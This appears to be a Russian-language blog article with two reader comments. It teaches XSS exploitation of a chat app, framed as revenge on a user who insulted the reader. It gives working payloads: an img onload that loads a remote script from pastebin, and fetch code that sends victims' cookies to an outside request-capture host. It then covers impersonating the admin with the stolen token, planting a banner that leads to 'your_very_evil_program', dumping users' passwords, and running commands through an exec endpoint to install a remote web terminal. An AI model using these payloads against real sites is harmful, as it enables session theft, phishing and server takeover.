Эксплуатация xss уязвимости
Данная статья описывает применению xss уязвимости:
Предыстория
Итак, вы зашли на чат, вас оскорбили, и теперь вы хотите отомстить. Как можно заметить из диалога можно легко отправить html, что является идеальной возможностью для xss, в реальности вы вряд ли заметите такую лазейку.
Запускаем скрипт
Мы имеем чат с возможностью отправки HTML. Так что давайте проверим возможность xss console.log('XSS stage 0')
и не сработало.
В чём же дело? Chromium и firefox игнорируют скрипты добавленные через innerHTML
.
Ок пробуем второй подход
<img src="https://picsum.photos/200/200" onload="console.log('XSS')" />
В консоли вывелось XSS значит код сработал
Теперь на pastebin создадим скрипт с которым мы и будем играться
Контент скрипта:
console.log('Script loaded')
Для запуска скрипта в атрибуте onload пропишем:
s=document.createElement('script');s.src='https://pastebin.com/raw/[YOUR_PASTE_ID]';document.body.appendChild(s)
И теперь отправляя
<img src="https://picsum.photos/200/200" onload="s=document.createElement('script');s.src='https://pastebin.com/raw/[YOUR_PASTE_ID]';document.body.appendChild(s)" />
все получатели просмотрят картинку и запустят скрипт
Грабим куки
С загрузкой скрипта мы разобрались теперь приступим к эксплуатации. Во-первых данные нужно куда-то отправить воспользуемся requestbin
// Пример кода для отправки каких-то данных
const headers = new Headers()
headers.append("Content-Type", "application/json")
const body = { "name": "Yoda" }
const options = {
method: "POST",
headers,
mode: "cors",
body: JSON.stringify(body),
}
fetch("[URL]", options)
Но просто отправлять один и тоже текст не интересно, давайте отправим куки
// Пример кода для отправки каких-то данных
const headers = new Headers()
headers.append("Content-Type", "application/json")
const body = { "cookies": document.cookie }
const options = {
method: "POST",
headers,
mode: "cors",
body: JSON.stringify(body),
}
fetch("https://en9uiweslksnu.x.pipedream.net", options)
В куках лежат токены для идентификации пользователя.
В requestbin мы получаем два запроса с двумя токенами:
-1067197389
1679211939
Так как мой токен 1679211939
Значит токен админа -1067197389
Заменив свой токен на токен админа мы сможем писать от его имени
Изменение контента
Писать от имени администратора весело, но давайте немного изменим контент сайта. Добавив к нашему злостному скрипту такие строки
let d = document.createElement('div')
d.innerHTML = `<div style="position: fixed;top: 0;height: 20px;width: 100vw;color: white;text-align: center;background: purple;" onclick="document.location='/your_very_evil_program'">Download new appliction</div>`
document.body.appendChild(d)
document.getElementById('msgs').setAttribute('style', 'height: calc(100% - 60px);margin-top: 20px;')
После того как мы от имени админ отправим такую фотку, у всех получателей появится баннер который при нажатии ведёт на наш /your_very_evil_program
Кража окружения
Пришло время получить доступ к админке. И так проверим что находится по адресу /admin
и там нас встречает ACCESS DENIED. BURN IN FIRE
, ладно подставляем токен админа в куки. И опять доступ запрещён, значит авторизация проходит каким-то другим способом. Значит запросим админку от машины админа.
Добавим в evil script:
const admin = await (await fetch("/admin")).text()
И затем при отправке в тело запихнуть значение админ мы получим данные /admin
Мы получим код админки
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title>Admin</title>
</head>
<body>
Hello admin<br />
<textarea id="users" rows="20" cols="100"></textarea><br />
<button id="updUsers">Update users</button><br /><br />
<script>
let fetchUsrs = fetch("/users")
.then(e => e.text())
.then(e => (document.getElementById("users").value = e));
document.getElementById("updUsers").onclick = () => {
fetch("/users", {
body: JSON.stringify({
data: document.getElementById("users").value.toString()
}),
headers: {
Accept: "application/json, text/plain, */*",
"Content-Type": "application/json"
},
method: "POST"
}).then(fetchUsrs);
};
function toCmd(cmd) {
document.location =
"http://" + location.host + "/exec?cmd=" + encodeURIComponent(cmd);
}
</script>
<button onclick="toCmd('free --human')">Check mem</button>
<button onclick="toCmd('ps')">Show procs</button>
</body>
</html>
Что из этого можно извлечь:
- Есть endpoint
/users
который возвращает и принимает юзеров - Есть endpoint
/exec?cmd
который выполняет программу
Оба endpoint не дают нам доступа. Так что попробуем вытащить/users
{
"admin": "VerySecurePassword",
"chiken": "COW+CHICKEN",
"user001": "agent007",
"justUser": "llkk",
"test":"12"
}
Итак теперь у нас есть пароль и логин всех юзеров системы и теперь логинимся под админом, мы получаем доступ к админке, а в куках появляется http-only кук который разрешает к ней доступ
Получение доступа к системе
Как вы помните у нас есть endpoint который запускает команду, так что теперь мы можем делать всё что хотим, но пользоваться этим не очень удобно так что запустим на сервере gritty
Теперь устанавливаем /exec?cmd=npm%20i%20gritty%202%3E%261
И запускаем /exec?cmd=node%20node_modules%2Fgritty%2Fbin%2Fgritty.js%20--port%208022
И по порту 8022 нам становится доступен терминал gritty
Guedda
1. Прочитал статью про XSS 10-летней давности
2. «Надо поделиться впечатлениями в чатике!»
3. Пишешь сумбурную «статью» на хабре, запинаясь, пытаясь выжать всё, что запомнилось.
4. PROFIT
maximmasterr Автор
Касаемо запинок, да моя ошибка однако я стараюсь сейчас поправить